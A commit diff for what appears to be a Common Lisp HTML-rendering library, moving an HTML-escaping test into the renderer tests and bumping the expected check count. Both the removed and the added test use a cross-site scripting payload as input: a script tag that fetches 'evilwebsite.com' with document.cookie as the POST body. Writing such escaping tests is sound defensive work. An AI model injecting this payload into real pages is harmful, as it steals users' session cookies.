Improve test

This commit is contained in:
paku 2024-06-02 14:23:13 +09:00
parent 626fa3fe3e
commit a6bfe77c1f
3 changed files with 15 additions and 6 deletions

View file

@ -15,4 +15,4 @@
(#:escaper-test . #:hsx-test/escaper)
(#:renderer-test . #:hsx-test/renderer)
(#:group-test . #:hsx-test/group))
:num-checks 41)
:num-checks 42)

View file

@ -13,8 +13,4 @@
(test escape-html-text-content
(is (string= "&<>"'/`="
(escape-html-text-content "&<>\"'/`=")))
(is (string=
"&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;"
(escape-html-text-content
"<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>" ))))
(escape-html-text-content "&<>\"'/`="))))

View file

@ -63,6 +63,19 @@
(img :src "/background.png")
:pretty t))))
(test escaping-tag
(is (string= #M"<div>
\ &lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;
\</div>"
(render-to-string
(div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>" )
:pretty t))))
(test non-escaping-tag
(is (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
(render-to-string
(script "alert('<< Do not embed user-generated contents here! >>')")))))
(test fragment
(let ((frg (<>
(li "bar")